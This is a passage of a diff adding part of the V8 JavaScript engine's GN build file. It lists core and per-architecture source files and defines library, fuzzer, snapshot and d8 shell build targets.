+    "src/profiler/profiler-listener.cc",
+    "src/profiler/profiler-listener.h",
+    "src/profiler/sampling-heap-profiler.cc",
+    "src/profiler/sampling-heap-profiler.h",
+    "src/profiler/strings-storage.cc",
+    "src/profiler/strings-storage.h",
+    "src/profiler/tick-sample.cc",
+    "src/profiler/tick-sample.h",
+    "src/profiler/unbound-queue-inl.h",
+    "src/profiler/unbound-queue.h",
+    "src/property-descriptor.cc",
+    "src/property-descriptor.h",
+    "src/property-details.h",
+    "src/property.cc",
+    "src/property.h",
+    "src/prototype.h",
+    "src/regexp/bytecodes-irregexp.h",
+    "src/regexp/interpreter-irregexp.cc",
+    "src/regexp/interpreter-irregexp.h",
+    "src/regexp/jsregexp-inl.h",
+    "src/regexp/jsregexp.cc",
+    "src/regexp/jsregexp.h",
+    "src/regexp/regexp-ast.cc",
+    "src/regexp/regexp-ast.h",
+    "src/regexp/regexp-macro-assembler-irregexp-inl.h",
+    "src/regexp/regexp-macro-assembler-irregexp.cc",
+    "src/regexp/regexp-macro-assembler-irregexp.h",
+    "src/regexp/regexp-macro-assembler-tracer.cc",
+    "src/regexp/regexp-macro-assembler-tracer.h",
+    "src/regexp/regexp-macro-assembler.cc",
+    "src/regexp/regexp-macro-assembler.h",
+    "src/regexp/regexp-parser.cc",
+    "src/regexp/regexp-parser.h",
+    "src/regexp/regexp-stack.cc",
+    "src/regexp/regexp-stack.h",
+    "src/register-configuration.cc",
+    "src/register-configuration.h",
+    "src/runtime-profiler.cc",
+    "src/runtime-profiler.h",
+    "src/runtime/runtime-array.cc",
+    "src/runtime/runtime-atomics.cc",
+    "src/runtime/runtime-classes.cc",
+    "src/runtime/runtime-collections.cc",
+    "src/runtime/runtime-compiler.cc",
+    "src/runtime/runtime-date.cc",
+    "src/runtime/runtime-debug.cc",
+    "src/runtime/runtime-error.cc",
+    "src/runtime/runtime-forin.cc",
+    "src/runtime/runtime-function.cc",
+    "src/runtime/runtime-futex.cc",
+    "src/runtime/runtime-generator.cc",
+    "src/runtime/runtime-i18n.cc",
+    "src/runtime/runtime-internal.cc",
+    "src/runtime/runtime-interpreter.cc",
+    "src/runtime/runtime-literals.cc",
+    "src/runtime/runtime-liveedit.cc",
+    "src/runtime/runtime-maths.cc",
+    "src/runtime/runtime-numbers.cc",
+    "src/runtime/runtime-object.cc",
+    "src/runtime/runtime-operators.cc",
+    "src/runtime/runtime-proxy.cc",
+    "src/runtime/runtime-regexp.cc",
+    "src/runtime/runtime-scopes.cc",
+    "src/runtime/runtime-simd.cc",
+    "src/runtime/runtime-strings.cc",
+    "src/runtime/runtime-symbol.cc",
+    "src/runtime/runtime-test.cc",
+    "src/runtime/runtime-typedarray.cc",
+    "src/runtime/runtime-utils.h",
+    "src/runtime/runtime-wasm.cc",
+    "src/runtime/runtime.cc",
+    "src/runtime/runtime.h",
+    "src/safepoint-table.cc",
+    "src/safepoint-table.h",
+    "src/signature.h",
+    "src/simulator.h",
+    "src/small-pointer-list.h",
+    "src/snapshot/code-serializer.cc",
+    "src/snapshot/code-serializer.h",
+    "src/snapshot/deserializer.cc",
+    "src/snapshot/deserializer.h",
+    "src/snapshot/natives-common.cc",
+    "src/snapshot/natives.h",
+    "src/snapshot/partial-serializer.cc",
+    "src/snapshot/partial-serializer.h",
+    "src/snapshot/serializer-common.cc",
+    "src/snapshot/serializer-common.h",
+    "src/snapshot/serializer.cc",
+    "src/snapshot/serializer.h",
+    "src/snapshot/snapshot-common.cc",
+    "src/snapshot/snapshot-source-sink.cc",
+    "src/snapshot/snapshot-source-sink.h",
+    "src/snapshot/snapshot.h",
+    "src/snapshot/startup-serializer.cc",
+    "src/snapshot/startup-serializer.h",
+    "src/source-position-table.cc",
+    "src/source-position-table.h",
+    "src/source-position.h",
+    "src/splay-tree-inl.h",
+    "src/splay-tree.h",
+    "src/startup-data-util.cc",
+    "src/startup-data-util.h",
+    "src/string-builder.cc",
+    "src/string-builder.h",
+    "src/string-search.h",
+    "src/string-stream.cc",
+    "src/string-stream.h",
+    "src/strtod.cc",
+    "src/strtod.h",
+    "src/tracing/trace-event.cc",
+    "src/tracing/trace-event.h",
+    "src/transitions-inl.h",
+    "src/transitions.cc",
+    "src/transitions.h",
+    "src/type-cache.cc",
+    "src/type-cache.h",
+    "src/type-feedback-vector-inl.h",
+    "src/type-feedback-vector.cc",
+    "src/type-feedback-vector.h",
+    "src/type-info.cc",
+    "src/type-info.h",
+    "src/types.cc",
+    "src/types.h",
+    "src/unicode-cache-inl.h",
+    "src/unicode-cache.h",
+    "src/unicode-decoder.cc",
+    "src/unicode-decoder.h",
+    "src/unicode-inl.h",
+    "src/unicode.cc",
+    "src/unicode.h",
+    "src/uri.cc",
+    "src/uri.h",
+    "src/utils-inl.h",
+    "src/utils.cc",
+    "src/utils.h",
+    "src/v8.cc",
+    "src/v8.h",
+    "src/v8memory.h",
+    "src/v8threads.cc",
+    "src/v8threads.h",
+    "src/value-serializer.cc",
+    "src/value-serializer.h",
+    "src/version.cc",
+    "src/version.h",
+    "src/vm-state-inl.h",
+    "src/vm-state.h",
+    "src/wasm/ast-decoder.cc",
+    "src/wasm/ast-decoder.h",
+    "src/wasm/decoder.h",
+    "src/wasm/encoder.cc",
+    "src/wasm/encoder.h",
+    "src/wasm/leb-helper.h",
+    "src/wasm/module-decoder.cc",
+    "src/wasm/module-decoder.h",
+    "src/wasm/switch-logic.cc",
+    "src/wasm/switch-logic.h",
+    "src/wasm/wasm-debug.cc",
+    "src/wasm/wasm-debug.h",
+    "src/wasm/wasm-external-refs.cc",
+    "src/wasm/wasm-external-refs.h",
+    "src/wasm/wasm-function-name-table.cc",
+    "src/wasm/wasm-function-name-table.h",
+    "src/wasm/wasm-interpreter.cc",
+    "src/wasm/wasm-interpreter.h",
+    "src/wasm/wasm-js.cc",
+    "src/wasm/wasm-js.h",
+    "src/wasm/wasm-macro-gen.h",
+    "src/wasm/wasm-module.cc",
+    "src/wasm/wasm-module.h",
+    "src/wasm/wasm-opcodes.cc",
+    "src/wasm/wasm-opcodes.h",
+    "src/wasm/wasm-result.cc",
+    "src/wasm/wasm-result.h",
+    "src/zone-allocator.h",
+    "src/zone-containers.h",
+    "src/zone.cc",
+    "src/zone.h",
+  ]
+
+  if (v8_current_cpu == "x86") {
+    sources += [
+      "src/builtins/ia32/builtins-ia32.cc",
+      "src/compiler/ia32/code-generator-ia32.cc",
+      "src/compiler/ia32/instruction-codes-ia32.h",
+      "src/compiler/ia32/instruction-scheduler-ia32.cc",
+      "src/compiler/ia32/instruction-selector-ia32.cc",
+      "src/crankshaft/ia32/lithium-codegen-ia32.cc",
+      "src/crankshaft/ia32/lithium-codegen-ia32.h",
+      "src/crankshaft/ia32/lithium-gap-resolver-ia32.cc",
+      "src/crankshaft/ia32/lithium-gap-resolver-ia32.h",
+      "src/crankshaft/ia32/lithium-ia32.cc",
+      "src/crankshaft/ia32/lithium-ia32.h",
+      "src/debug/ia32/debug-ia32.cc",
+      "src/full-codegen/ia32/full-codegen-ia32.cc",
+      "src/ia32/assembler-ia32-inl.h",
+      "src/ia32/assembler-ia32.cc",
+      "src/ia32/assembler-ia32.h",
+      "src/ia32/code-stubs-ia32.cc",
+      "src/ia32/code-stubs-ia32.h",
+      "src/ia32/codegen-ia32.cc",
+      "src/ia32/codegen-ia32.h",
+      "src/ia32/cpu-ia32.cc",
+      "src/ia32/deoptimizer-ia32.cc",
+      "src/ia32/disasm-ia32.cc",
+      "src/ia32/frames-ia32.cc",
+      "src/ia32/frames-ia32.h",
+      "src/ia32/interface-descriptors-ia32.cc",
+      "src/ia32/macro-assembler-ia32.cc",
+      "src/ia32/macro-assembler-ia32.h",
+      "src/ic/ia32/access-compiler-ia32.cc",
+      "src/ic/ia32/handler-compiler-ia32.cc",
+      "src/ic/ia32/ic-compiler-ia32.cc",
+      "src/ic/ia32/ic-ia32.cc",
+      "src/ic/ia32/stub-cache-ia32.cc",
+      "src/regexp/ia32/regexp-macro-assembler-ia32.cc",
+      "src/regexp/ia32/regexp-macro-assembler-ia32.h",
+    ]
+  } else if (v8_current_cpu == "x64") {
+    sources += [
+      "src/builtins/x64/builtins-x64.cc",
+      "src/compiler/x64/code-generator-x64.cc",
+      "src/compiler/x64/instruction-codes-x64.h",
+      "src/compiler/x64/instruction-scheduler-x64.cc",
+      "src/compiler/x64/instruction-selector-x64.cc",
+      "src/compiler/x64/unwinding-info-writer-x64.cc",
+      "src/compiler/x64/unwinding-info-writer-x64.h",
+      "src/crankshaft/x64/lithium-codegen-x64.cc",
+      "src/crankshaft/x64/lithium-codegen-x64.h",
+      "src/crankshaft/x64/lithium-gap-resolver-x64.cc",
+      "src/crankshaft/x64/lithium-gap-resolver-x64.h",
+      "src/crankshaft/x64/lithium-x64.cc",
+      "src/crankshaft/x64/lithium-x64.h",
+      "src/debug/x64/debug-x64.cc",
+      "src/full-codegen/x64/full-codegen-x64.cc",
+      "src/ic/x64/access-compiler-x64.cc",
+      "src/ic/x64/handler-compiler-x64.cc",
+      "src/ic/x64/ic-compiler-x64.cc",
+      "src/ic/x64/ic-x64.cc",
+      "src/ic/x64/stub-cache-x64.cc",
+      "src/regexp/x64/regexp-macro-assembler-x64.cc",
+      "src/regexp/x64/regexp-macro-assembler-x64.h",
+      "src/x64/assembler-x64-inl.h",
+      "src/x64/assembler-x64.cc",
+      "src/x64/assembler-x64.h",
+      "src/x64/code-stubs-x64.cc",
+      "src/x64/code-stubs-x64.h",
+      "src/x64/codegen-x64.cc",
+      "src/x64/codegen-x64.h",
+      "src/x64/cpu-x64.cc",
+      "src/x64/deoptimizer-x64.cc",
+      "src/x64/disasm-x64.cc",
+      "src/x64/eh-frame-x64.cc",
+      "src/x64/frames-x64.cc",
+      "src/x64/frames-x64.h",
+      "src/x64/interface-descriptors-x64.cc",
+      "src/x64/macro-assembler-x64.cc",
+      "src/x64/macro-assembler-x64.h",
+    ]
+  } else if (v8_current_cpu == "arm") {
+    sources += [
+      "src/arm/assembler-arm-inl.h",
+      "src/arm/assembler-arm.cc",
+      "src/arm/assembler-arm.h",
+      "src/arm/code-stubs-arm.cc",
+      "src/arm/code-stubs-arm.h",
+      "src/arm/codegen-arm.cc",
+      "src/arm/codegen-arm.h",
+      "src/arm/constants-arm.cc",
+      "src/arm/constants-arm.h",
+      "src/arm/cpu-arm.cc",
+      "src/arm/deoptimizer-arm.cc",
+      "src/arm/disasm-arm.cc",
+      "src/arm/eh-frame-arm.cc",
+      "src/arm/frames-arm.cc",
+      "src/arm/frames-arm.h",
+      "src/arm/interface-descriptors-arm.cc",
+      "src/arm/interface-descriptors-arm.h",
+      "src/arm/macro-assembler-arm.cc",
+      "src/arm/macro-assembler-arm.h",
+      "src/arm/simulator-arm.cc",
+      "src/arm/simulator-arm.h",
+      "src/builtins/arm/builtins-arm.cc",
+      "src/compiler/arm/code-generator-arm.cc",
+      "src/compiler/arm/instruction-codes-arm.h",
+      "src/compiler/arm/instruction-scheduler-arm.cc",
+      "src/compiler/arm/instruction-selector-arm.cc",
+      "src/compiler/arm/unwinding-info-writer-arm.cc",
+      "src/compiler/arm/unwinding-info-writer-arm.h",
+      "src/crankshaft/arm/lithium-arm.cc",
+      "src/crankshaft/arm/lithium-arm.h",
+      "src/crankshaft/arm/lithium-codegen-arm.cc",
+      "src/crankshaft/arm/lithium-codegen-arm.h",
+      "src/crankshaft/arm/lithium-gap-resolver-arm.cc",
+      "src/crankshaft/arm/lithium-gap-resolver-arm.h",
+      "src/debug/arm/debug-arm.cc",
+      "src/full-codegen/arm/full-codegen-arm.cc",
+      "src/ic/arm/access-compiler-arm.cc",
+      "src/ic/arm/handler-compiler-arm.cc",
+      "src/ic/arm/ic-arm.cc",
+      "src/ic/arm/ic-compiler-arm.cc",
+      "src/ic/arm/stub-cache-arm.cc",
+      "src/regexp/arm/regexp-macro-assembler-arm.cc",
+      "src/regexp/arm/regexp-macro-assembler-arm.h",
+    ]
+  } else if (v8_current_cpu == "arm64") {
+    sources += [
+      "src/arm64/assembler-arm64-inl.h",
+      "src/arm64/assembler-arm64.cc",
+      "src/arm64/assembler-arm64.h",
+      "src/arm64/code-stubs-arm64.cc",
+      "src/arm64/code-stubs-arm64.h",
+      "src/arm64/codegen-arm64.cc",
+      "src/arm64/codegen-arm64.h",
+      "src/arm64/constants-arm64.h",
+      "src/arm64/cpu-arm64.cc",
+      "src/arm64/decoder-arm64-inl.h",
+      "src/arm64/decoder-arm64.cc",
+      "src/arm64/decoder-arm64.h",
+      "src/arm64/deoptimizer-arm64.cc",
+      "src/arm64/disasm-arm64.cc",
+      "src/arm64/disasm-arm64.h",
+      "src/arm64/eh-frame-arm64.cc",
+      "src/arm64/frames-arm64.cc",
+      "src/arm64/frames-arm64.h",
+      "src/arm64/instructions-arm64.cc",
+      "src/arm64/instructions-arm64.h",
+      "src/arm64/instrument-arm64.cc",
+      "src/arm64/instrument-arm64.h",
+      "src/arm64/interface-descriptors-arm64.cc",
+      "src/arm64/interface-descriptors-arm64.h",
+      "src/arm64/macro-assembler-arm64-inl.h",
+      "src/arm64/macro-assembler-arm64.cc",
+      "src/arm64/macro-assembler-arm64.h",
+      "src/arm64/simulator-arm64.cc",
+      "src/arm64/simulator-arm64.h",
+      "src/arm64/utils-arm64.cc",
+      "src/arm64/utils-arm64.h",
+      "src/builtins/arm64/builtins-arm64.cc",
+      "src/compiler/arm64/code-generator-arm64.cc",
+      "src/compiler/arm64/instruction-codes-arm64.h",
+      "src/compiler/arm64/instruction-scheduler-arm64.cc",
+      "src/compiler/arm64/instruction-selector-arm64.cc",
+      "src/compiler/arm64/unwinding-info-writer-arm64.cc",
+      "src/compiler/arm64/unwinding-info-writer-arm64.h",
+      "src/crankshaft/arm64/delayed-masm-arm64-inl.h",
+      "src/crankshaft/arm64/delayed-masm-arm64.cc",
+      "src/crankshaft/arm64/delayed-masm-arm64.h",
+      "src/crankshaft/arm64/lithium-arm64.cc",
+      "src/crankshaft/arm64/lithium-arm64.h",
+      "src/crankshaft/arm64/lithium-codegen-arm64.cc",
+      "src/crankshaft/arm64/lithium-codegen-arm64.h",
+      "src/crankshaft/arm64/lithium-gap-resolver-arm64.cc",
+      "src/crankshaft/arm64/lithium-gap-resolver-arm64.h",
+      "src/debug/arm64/debug-arm64.cc",
+      "src/full-codegen/arm64/full-codegen-arm64.cc",
+      "src/ic/arm64/access-compiler-arm64.cc",
+      "src/ic/arm64/handler-compiler-arm64.cc",
+      "src/ic/arm64/ic-arm64.cc",
+      "src/ic/arm64/ic-compiler-arm64.cc",
+      "src/ic/arm64/stub-cache-arm64.cc",
+      "src/regexp/arm64/regexp-macro-assembler-arm64.cc",
+      "src/regexp/arm64/regexp-macro-assembler-arm64.h",
+    ]
+  } else if (v8_current_cpu == "mipsel") {
+    sources += [
+      "src/builtins/mips/builtins-mips.cc",
+      "src/compiler/mips/code-generator-mips.cc",
+      "src/compiler/mips/instruction-codes-mips.h",
+      "src/compiler/mips/instruction-scheduler-mips.cc",
+      "src/compiler/mips/instruction-selector-mips.cc",
+      "src/crankshaft/mips/lithium-codegen-mips.cc",
+      "src/crankshaft/mips/lithium-codegen-mips.h",
+      "src/crankshaft/mips/lithium-gap-resolver-mips.cc",
+      "src/crankshaft/mips/lithium-gap-resolver-mips.h",
+      "src/crankshaft/mips/lithium-mips.cc",
+      "src/crankshaft/mips/lithium-mips.h",
+      "src/debug/mips/debug-mips.cc",
+      "src/full-codegen/mips/full-codegen-mips.cc",
+      "src/ic/mips/access-compiler-mips.cc",
+      "src/ic/mips/handler-compiler-mips.cc",
+      "src/ic/mips/ic-compiler-mips.cc",
+      "src/ic/mips/ic-mips.cc",
+      "src/ic/mips/stub-cache-mips.cc",
+      "src/mips/assembler-mips-inl.h",
+      "src/mips/assembler-mips.cc",
+      "src/mips/assembler-mips.h",
+      "src/mips/code-stubs-mips.cc",
+      "src/mips/code-stubs-mips.h",
+      "src/mips/codegen-mips.cc",
+      "src/mips/codegen-mips.h",
+      "src/mips/constants-mips.cc",
+      "src/mips/constants-mips.h",
+      "src/mips/cpu-mips.cc",
+      "src/mips/deoptimizer-mips.cc",
+      "src/mips/disasm-mips.cc",
+      "src/mips/frames-mips.cc",
+      "src/mips/frames-mips.h",
+      "src/mips/interface-descriptors-mips.cc",
+      "src/mips/macro-assembler-mips.cc",
+      "src/mips/macro-assembler-mips.h",
+      "src/mips/simulator-mips.cc",
+      "src/mips/simulator-mips.h",
+      "src/regexp/mips/regexp-macro-assembler-mips.cc",
+      "src/regexp/mips/regexp-macro-assembler-mips.h",
+    ]
+  } else if (v8_current_cpu == "mips64el") {
+    sources += [
+      "src/builtins/mips64/builtins-mips64.cc",
+      "src/compiler/mips64/code-generator-mips64.cc",
+      "src/compiler/mips64/instruction-codes-mips64.h",
+      "src/compiler/mips64/instruction-scheduler-mips64.cc",
+      "src/compiler/mips64/instruction-selector-mips64.cc",
+      "src/crankshaft/mips64/lithium-codegen-mips64.cc",
+      "src/crankshaft/mips64/lithium-codegen-mips64.h",
+      "src/crankshaft/mips64/lithium-gap-resolver-mips64.cc",
+      "src/crankshaft/mips64/lithium-gap-resolver-mips64.h",
+      "src/crankshaft/mips64/lithium-mips64.cc",
+      "src/crankshaft/mips64/lithium-mips64.h",
+      "src/debug/mips64/debug-mips64.cc",
+      "src/full-codegen/mips64/full-codegen-mips64.cc",
+      "src/ic/mips64/access-compiler-mips64.cc",
+      "src/ic/mips64/handler-compiler-mips64.cc",
+      "src/ic/mips64/ic-compiler-mips64.cc",
+      "src/ic/mips64/ic-mips64.cc",
+      "src/ic/mips64/stub-cache-mips64.cc",
+      "src/mips64/assembler-mips64-inl.h",
+      "src/mips64/assembler-mips64.cc",
+      "src/mips64/assembler-mips64.h",
+      "src/mips64/code-stubs-mips64.cc",
+      "src/mips64/code-stubs-mips64.h",
+      "src/mips64/codegen-mips64.cc",
+      "src/mips64/codegen-mips64.h",
+      "src/mips64/constants-mips64.cc",
+      "src/mips64/constants-mips64.h",
+      "src/mips64/cpu-mips64.cc",
+      "src/mips64/deoptimizer-mips64.cc",
+      "src/mips64/disasm-mips64.cc",
+      "src/mips64/frames-mips64.cc",
+      "src/mips64/frames-mips64.h",
+      "src/mips64/interface-descriptors-mips64.cc",
+      "src/mips64/macro-assembler-mips64.cc",
+      "src/mips64/macro-assembler-mips64.h",
+      "src/mips64/simulator-mips64.cc",
+      "src/mips64/simulator-mips64.h",
+      "src/regexp/mips64/regexp-macro-assembler-mips64.cc",
+      "src/regexp/mips64/regexp-macro-assembler-mips64.h",
+    ]
+  } else if (v8_current_cpu == "s390" || v8_current_cpu == "s390x") {
+    sources += [
+      "src/builtins/s390/builtins-s390.cc",
+      "src/compiler/s390/code-generator-s390.cc",
+      "src/compiler/s390/instruction-codes-s390.h",
+      "src/compiler/s390/instruction-scheduler-s390.cc",
+      "src/compiler/s390/instruction-selector-s390.cc",
+      "src/crankshaft/s390/lithium-codegen-s390.cc",
+      "src/crankshaft/s390/lithium-codegen-s390.h",
+      "src/crankshaft/s390/lithium-gap-resolver-s390.cc",
+      "src/crankshaft/s390/lithium-gap-resolver-s390.h",
+      "src/crankshaft/s390/lithium-s390.cc",
+      "src/crankshaft/s390/lithium-s390.h",
+      "src/debug/s390/debug-s390.cc",
+      "src/full-codegen/s390/full-codegen-s390.cc",
+      "src/ic/s390/access-compiler-s390.cc",
+      "src/ic/s390/handler-compiler-s390.cc",
+      "src/ic/s390/ic-compiler-s390.cc",
+      "src/ic/s390/ic-s390.cc",
+      "src/ic/s390/stub-cache-s390.cc",
+      "src/regexp/s390/regexp-macro-assembler-s390.cc",
+      "src/regexp/s390/regexp-macro-assembler-s390.h",
+      "src/s390/assembler-s390-inl.h",
+      "src/s390/assembler-s390.cc",
+      "src/s390/assembler-s390.h",
+      "src/s390/code-stubs-s390.cc",
+      "src/s390/code-stubs-s390.h",
+      "src/s390/codegen-s390.cc",
+      "src/s390/codegen-s390.h",
+      "src/s390/constants-s390.cc",
+      "src/s390/constants-s390.h",
+      "src/s390/cpu-s390.cc",
+      "src/s390/deoptimizer-s390.cc",
+      "src/s390/disasm-s390.cc",
+      "src/s390/frames-s390.cc",
+      "src/s390/frames-s390.h",
+      "src/s390/interface-descriptors-s390.cc",
+      "src/s390/macro-assembler-s390.cc",
+      "src/s390/macro-assembler-s390.h",
+      "src/s390/simulator-s390.cc",
+      "src/s390/simulator-s390.h",
+    ]
+  }
+
+  configs = [ ":internal_config" ]
+
+  defines = []
+  deps = [
+    ":v8_libbase",
+    ":v8_libsampler",
+  ]
+
+  sources += [ v8_generated_peephole_source ]
+  deps += [ ":run_mkpeephole" ]
+
+  if (is_win) {
+    # TODO(jschuh): crbug.com/167187 fix size_t to int truncations.
+    cflags = [ "/wd4267" ]
+  }
+
+  if (v8_enable_i18n_support) {
+    deps += [ "//third_party/icu" ]
+    if (is_win) {
+      deps += [ "//third_party/icu:icudata" ]
+    }
+  } else {
+    sources -= [
+      "src/i18n.cc",
+      "src/i18n.h",
+    ]
+  }
+
+  if (v8_postmortem_support) {
+    sources += [ "$target_gen_dir/debug-support.cc" ]
+    deps += [ ":postmortem-metadata" ]
+  }
+}
+
+v8_source_set("v8_libbase") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  sources = [
+    "src/base/accounting-allocator.cc",
+    "src/base/accounting-allocator.h",
+    "src/base/adapters.h",
+    "src/base/atomic-utils.h",
+    "src/base/atomicops.h",
+    "src/base/atomicops_internals_arm64_gcc.h",
+    "src/base/atomicops_internals_arm_gcc.h",
+    "src/base/atomicops_internals_atomicword_compat.h",
+    "src/base/atomicops_internals_mac.h",
+    "src/base/atomicops_internals_mips64_gcc.h",
+    "src/base/atomicops_internals_mips_gcc.h",
+    "src/base/atomicops_internals_s390_gcc.h",
+    "src/base/atomicops_internals_tsan.h",
+    "src/base/atomicops_internals_x86_gcc.cc",
+    "src/base/atomicops_internals_x86_gcc.h",
+    "src/base/atomicops_internals_x86_msvc.h",
+    "src/base/bits.cc",
+    "src/base/bits.h",
+    "src/base/build_config.h",
+    "src/base/cpu.cc",
+    "src/base/cpu.h",
+    "src/base/debug/stack_trace.cc",
+    "src/base/debug/stack_trace.h",
+    "src/base/division-by-constant.cc",
+    "src/base/division-by-constant.h",
+    "src/base/file-utils.cc",
+    "src/base/file-utils.h",
+    "src/base/flags.h",
+    "src/base/format-macros.h",
+    "src/base/free_deleter.h",
+    "src/base/functional.cc",
+    "src/base/functional.h",
+    "src/base/hashmap.h",
+    "src/base/ieee754.cc",
+    "src/base/ieee754.h",
+    "src/base/iterator.h",
+    "src/base/lazy-instance.h",
+    "src/base/logging.cc",
+    "src/base/logging.h",
+    "src/base/macros.h",
+    "src/base/once.cc",
+    "src/base/once.h",
+    "src/base/platform/condition-variable.cc",
+    "src/base/platform/condition-variable.h",
+    "src/base/platform/elapsed-timer.h",
+    "src/base/platform/mutex.cc",
+    "src/base/platform/mutex.h",
+    "src/base/platform/platform.h",
+    "src/base/platform/semaphore.cc",
+    "src/base/platform/semaphore.h",
+    "src/base/platform/time.cc",
+    "src/base/platform/time.h",
+    "src/base/safe_conversions.h",
+    "src/base/safe_conversions_impl.h",
+    "src/base/safe_math.h",
+    "src/base/safe_math_impl.h",
+    "src/base/sys-info.cc",
+    "src/base/sys-info.h",
+    "src/base/utils/random-number-generator.cc",
+    "src/base/utils/random-number-generator.h",
+  ]
+
+  configs = [ ":internal_config_base" ]
+
+  defines = []
+
+  if (is_posix) {
+    sources += [ "src/base/platform/platform-posix.cc" ]
+  }
+
+  if (is_linux) {
+    sources += [
+      "src/base/debug/stack_trace_posix.cc",
+      "src/base/platform/platform-linux.cc",
+    ]
+
+    libs = [
+      "dl",
+      "rt",
+    ]
+  } else if (is_android) {
+    if (current_toolchain == host_toolchain) {
+      libs = [
+        "dl",
+        "rt",
+      ]
+      if (host_os == "mac") {
+        sources += [
+          "src/base/debug/stack_trace_posix.cc",
+          "src/base/platform/platform-macos.cc",
+        ]
+      } else {
+        sources += [
+          "src/base/debug/stack_trace_posix.cc",
+          "src/base/platform/platform-linux.cc",
+        ]
+      }
+    } else {
+      sources += [
+        "src/base/debug/stack_trace_android.cc",
+        "src/base/platform/platform-linux.cc",
+      ]
+    }
+  } else if (is_mac) {
+    sources += [
+      "src/base/debug/stack_trace_posix.cc",
+      "src/base/platform/platform-macos.cc",
+    ]
+  } else if (is_win) {
+    # TODO(jochen): Add support for cygwin.
+    sources += [
+      "src/base/debug/stack_trace_win.cc",
+      "src/base/platform/platform-win32.cc",
+      "src/base/win32-headers.h",
+    ]
+
+    defines += [ "_CRT_RAND_S" ]  # for rand_s()
+
+    libs = [
+      "dbghelp.lib",
+      "shlwapi.lib",
+      "winmm.lib",
+      "ws2_32.lib",
+    ]
+  }
+
+  # TODO(jochen): Add support for qnx, freebsd, openbsd, netbsd, and solaris.
+}
+
+v8_source_set("v8_libplatform") {
+  sources = [
+    "//base/trace_event/common/trace_event_common.h",
+    "include/libplatform/libplatform.h",
+    "include/libplatform/v8-tracing.h",
+    "src/libplatform/default-platform.cc",
+    "src/libplatform/default-platform.h",
+    "src/libplatform/task-queue.cc",
+    "src/libplatform/task-queue.h",
+    "src/libplatform/tracing/trace-buffer.cc",
+    "src/libplatform/tracing/trace-buffer.h",
+    "src/libplatform/tracing/trace-config.cc",
+    "src/libplatform/tracing/trace-object.cc",
+    "src/libplatform/tracing/trace-writer.cc",
+    "src/libplatform/tracing/trace-writer.h",
+    "src/libplatform/tracing/tracing-controller.cc",
+    "src/libplatform/worker-thread.cc",
+    "src/libplatform/worker-thread.h",
+  ]
+
+  configs = [ ":internal_config_base" ]
+
+  public_configs = [ ":libplatform_config" ]
+
+  deps = [
+    ":v8_libbase",
+  ]
+}
+
+v8_source_set("v8_libsampler") {
+  sources = [
+    "src/libsampler/sampler.cc",
+    "src/libsampler/sampler.h",
+  ]
+
+  configs = [ ":internal_config_base" ]
+
+  public_configs = [ ":libsampler_config" ]
+
+  deps = [
+    ":v8_libbase",
+  ]
+}
+
+v8_source_set("fuzzer_support") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  sources = [
+    "test/fuzzer/fuzzer-support.cc",
+    "test/fuzzer/fuzzer-support.h",
+  ]
+
+  configs = [ ":internal_config_base" ]
+
+  deps = [
+    ":v8_maybe_snapshot",
+  ]
+
+  public_deps = [
+    ":v8_libplatform",
+  ]
+}
+
+v8_source_set("simple_fuzzer") {
+  sources = [
+    "test/fuzzer/fuzzer.cc",
+  ]
+
+  configs = [ ":internal_config_base" ]
+}
+
+###############################################################################
+# Executables
+#
+
+if (current_toolchain == v8_snapshot_toolchain) {
+  v8_executable("mksnapshot") {
+    visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+    sources = [
+      "src/snapshot/mksnapshot.cc",
+    ]
+
+    configs = [ ":internal_config" ]
+
+    deps = [
+      ":v8_base",
+      ":v8_libplatform",
+      ":v8_nosnapshot",
+      "//build/config/sanitizers:deps",
+      "//build/win:default_exe_manifest",
+    ]
+  }
+}
+
+v8_executable("mkpeephole") {
+  # mkpeephole needs to be built for the build host so the peephole lookup
+  # table can built during build. The table depends on the properties of
+  # bytecodes that are described in bytecodes.{cc,h}.
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  sources = [
+    "src/interpreter/bytecode-peephole-optimizer.h",
+    "src/interpreter/bytecodes.cc",
+    "src/interpreter/bytecodes.h",
+    "src/interpreter/mkpeephole.cc",
+  ]
+
+  configs = [
+    ":external_config",
+    ":internal_config",
+  ]
+
+  deps = [
+    ":v8_libbase",
+    "//build/config/sanitizers:deps",
+    "//build/win:default_exe_manifest",
+  ]
+}
+
+###############################################################################
+# Public targets
+#
+
+want_v8_shell =
+    (current_toolchain == host_toolchain && v8_toolset_for_shell == "host") ||
+    (current_toolchain == v8_snapshot_toolchain &&
+     v8_toolset_for_shell == "host") ||
+    (current_toolchain != host_toolchain && v8_toolset_for_shell == "target")
+
+group("gn_all") {
+  testonly = true
+
+  deps = [
+    ":d8",
+    ":v8_hello_world",
+    ":v8_parser_shell",
+    ":v8_sample_process",
+    ":v8_simple_json_fuzzer",
+    ":v8_simple_parser_fuzzer",
+    ":v8_simple_regexp_fuzzer",
+    ":v8_simple_wasm_asmjs_fuzzer",
+    ":v8_simple_wasm_fuzzer",
+    "test:gn_all",
+    "tools:gn_all",
+  ]
+
+  if (want_v8_shell) {
+    deps += [ ":v8_shell" ]
+  }
+
+  if (v8_test_isolation_mode != "noop") {
+    deps += [ ":d8_run" ]
+  }
+}
+
+if (is_component_build) {
+  v8_component("v8") {
+    sources = [
+      "src/v8dll-main.cc",
+    ]
+
+    deps = [
+      ":v8_dump_build_config",
+    ]
+
+    public_deps = [
+      ":v8_base",
+      ":v8_maybe_snapshot",
+    ]
+
+    configs = [ ":internal_config" ]
+
+    public_configs = [ ":external_config" ]
+  }
+} else {
+  group("v8") {
+    deps = [
+      ":v8_dump_build_config",
+    ]
+
+    public_deps = [
+      ":v8_base",
+      ":v8_maybe_snapshot",
+    ]
+    public_configs = [ ":external_config" ]
+  }
+}
+
+v8_executable("d8") {
+  sources = [
+    "src/d8.cc",
+    "src/d8.h",
+  ]
+
+  configs = [
+    # Note: don't use :internal_config here because this target will get
+    # the :external_config applied to it by virtue of depending on :v8, and
+    # you can't have both applied to the same target.
+    ":internal_config_base",
+  ]
+
+  deps = [
+    ":d8_js2c",
+    ":v8",
+    ":v8_libplatform",
+    "//build/config/sanitizers:deps",
+    "//build/win:default_exe_manifest",
+  ]
+
+  # TODO(jochen): Add support for vtunejit.
+
+  if (is_posix) {
+    sources += [ "src/d8-posix.cc" ]
+  } else if (is_win) {
+    sources += [ "src/d8-windows.cc" ]
+  }
+
